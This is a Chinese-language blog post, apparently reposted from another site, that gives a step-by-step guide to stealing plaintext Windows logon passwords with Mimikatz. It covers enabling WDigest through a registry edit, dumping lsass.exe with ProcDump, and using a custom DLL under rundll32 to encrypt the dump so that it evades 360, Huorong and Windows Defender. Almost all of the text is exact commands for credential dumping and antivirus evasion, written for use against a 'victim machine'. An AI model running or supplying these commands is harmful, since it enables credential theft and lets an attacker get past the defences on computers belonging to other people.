Mimikatz的使用及免杀方向(过360,火狐和WindowsDefinder)

一. Mimikatz加修改注册表绕过LSA保护(暂不考虑EDR和WD)

  • Mimikatz原理:Mimikatz通过逆向获取存储在lsass.exe进程中的明文登录密码。(lsass.exe用于本地安全和登陆策略)。首先使用Mimikatz抓取时必须是管理员权限,在win10,win11,win2012等版本中,系统会开启LSA保护,明文密码字段会显示null。
  • 第一步提权:privilege::debug
  • 第二步抓取:sekurlsa::logonPasswords
  • 关闭LSA保护:管理员权限对注册表进行修改,随后使用脚本或者任意方法重启系统,使受害机的管理员重新登陆,此次登录的明文密码将会保存在lsass.exe 进程中,使用Mimikatz再次抓取可显示明文密码。若恢复注册表可直接将1改为0。
  • 修改命令:reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

二. Procdump dump绕过360,火狐

  • 绕过思路:由于Mimikatz的强大,各大EDR已经在防护Mimikatz的道路上越走越远,所以我们如果 针对Mimikatz做免杀哪怕过静态,还要考虑各种姿势绕过抓取hash的动作,但是这无疑需要很多的时间,因此我们可以考虑取出已经存储在lsass.exe的明文密码,通过本地的Mimikatz进行处理得到密码。
  • 实施:前提已经关闭LSA保护并且为管理员权限,使用微软项目Procdump进行Dump(由于是微软项目,各EDR都不会报毒), 获取lsass进程储存的密码信息保存为niuma.dmp。
  • Procdump项目地址:https://learn.microsoft.com/zh-cn/sysinternals/downloads/procdump
  • 命令:ProcDump.exe -accepteula -ma lsass.exe niuma.dmp
  • 将生成的niuma.dmp保存到本地,在本地使用Mimikatz获取明文密码,此时因为已经将信息拉取到本地环境Mimikatz同目录中,所以普通用户权限就可以直接读取niuma.dmp中的明文密码。
  • 第一步:sekurlsa::minidump niuma.dmp
  • 第二步:sekurlsa::logonPasswords full

三. DLL文件加密储存绕过360,火狐和Windowsdefinder

  • 原理:由于Windowdefinder 检测逻辑是文件层只要是lsass.exe生成的存储文件就会报毒删除,因此需要在内存存储中通过DLL干扰对存储加密绕过WD。
  • 实施:前提已经关闭LSA保护并且为管理员权限,在运行中可能报错没有指定模块参考,需要查找该DLL文件的依赖项保存到同一目录,使用命令生成加密test.log,保存路径C:/Windows/Tmep,将文件保存到本地,解密test.log获取初始存储信息,随后与二相同mimikatz获取明文密码。
  • 第一步生成加密文件:rundll32 DumpHash.dll dllmain
  • 第二步本地解密命令:mimikatz 解密.exe test.log 1.bin
  • 第三步读取明文:sekurlsa::minidump 1.bin sekurlsa::logonPasswords full(与二相同不再截图)

四. DLL文件及解密文件



转自原文连接地址: https://www.vpss.cc/381.html
posted @ 2024-09-26 13:20  渗透测试中心  阅读(313)  评论(0编辑  收藏  举报